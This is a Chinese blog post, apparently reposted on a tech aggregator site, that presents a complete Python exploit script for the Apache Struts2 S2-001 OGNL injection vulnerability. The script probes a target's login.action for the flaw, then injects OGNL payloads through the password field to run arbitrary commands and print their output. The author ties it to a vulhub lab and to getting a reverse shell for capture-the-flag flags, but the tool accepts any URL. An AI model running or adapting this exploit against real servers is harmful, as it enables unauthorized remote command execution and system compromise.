IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> s2系列————s2-001叙利亚版本一键化操作 -> 正文阅读

[Python知识库]s2系列————s2-001叙利亚版本一键化操作

s2-001叙利亚版本一键化操作
s2-001漏洞 不过多介绍,使用vulhub搭建相应靶场即可,在linux下正常运行,在windows下有可能出现状态码为500的可能,在请求头中增加Content-Type:application/x-www-form-urlencoded属性值即可正常返回,本脚本使用python编写,回显过程中,会出现些问题,包括,jssionid未过滤,命令回显字母缺失等问题,故称:叙利亚版本
在这里插入图片描述右边为实际值,左边为脚本输出值,看的 这个还是有蛮大区别的,但是命令回显肯定正常执行,用这个脚本的目的就是反弹shell,毕竟要查找相应flag文件
代码如下

import requests
from urllib import parse
import difflib



def mingling(url, headers):
    shell = input("请输入你想执行的命令:")
    if "exit" in shell:
        print("程序执行完毕")
    else:
        zhixing(shell, url, headers)
        shifou = input("是否要继续执行命令(1/0)")
        if "1" in shifou:
            mingling(url, headers)
        else:
            print("程序结束")

def yanzheng(url):
    data = "username=200&password=%25%7b%32%32%32%30%2b%32%7d"
    url = url + "login.action"
    headers={
    "Referer": url,
    "Content-Type": "application/x-www-form-urlencoded"
    }
    re=requests.post(url,data=data,headers=headers).content.decode("utf-8")
    if "2222" in re:
        print("目标存在s2-001漏洞")
        mingling(url,headers)
    else:
        print("不存在相关漏洞")



def zhixing(shell,url,headers):
        if " " in shell:
            shell = shell.split(" ")
            print(len(shell))
            a = 0
            c = ""
            for i in shell:
                if a < len(shell) - 1:
                    c = c + '"' + shell[a] + '"'
                    c = c + ','
                else:
                    c = c + '"' + shell[a] + '"'

                a = a + 1
        else:
            c = '"' + shell + '"'
        str1 = '%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{""})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}'
        str2 = '%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{' + c + '})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}'
        data1='username=200&password='+parse.quote(str1)
        data2 = 'username=200&password=' + parse.quote(str2)

        res1 = requests.post(url, data=data1,headers=headers).content

        res2 = requests.post(url, data=data2,headers=headers).content
        res1 = str(res1)
        res2 = str(res2)

        if "-" in res1:
            res1=res1.replace("-","¥")
        if "\\x00" in res2:
            res2=res2.replace("\\x00","").replace("-","¥")
        a = ''.join(list(difflib.Differ().compare(res2, res1)))
        b = a.split(" ")
        while '' in b:
            b.remove('')

        i = -1
        print(">>>:", end="")
        x = ""
        for c in b:
            i = i + 1
            if "-" in c:
                d = i + 1
                if "-" in b[d]:
                    a = b[d].replace("-", "").replace("+", "")
                    x = x + a
                else:
                    a = b[d].replace("&", "-").replace("+", "")
                    x = x + a

        if "\\n" in x:
            y = x.split("\\n")
            while '' in y:
                y.remove('')
            for z in y:
                print(z.replace("¥", "-") + "  ", end="")
                print("")

        else:
            print(x)


if __name__ == '__main__':
    url = input("请输入想要测试的网址:")
    yanzheng(url)

欢迎各位大佬指正

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 16:08:24  更:2022-03-03 16:11:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 23:04:23-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码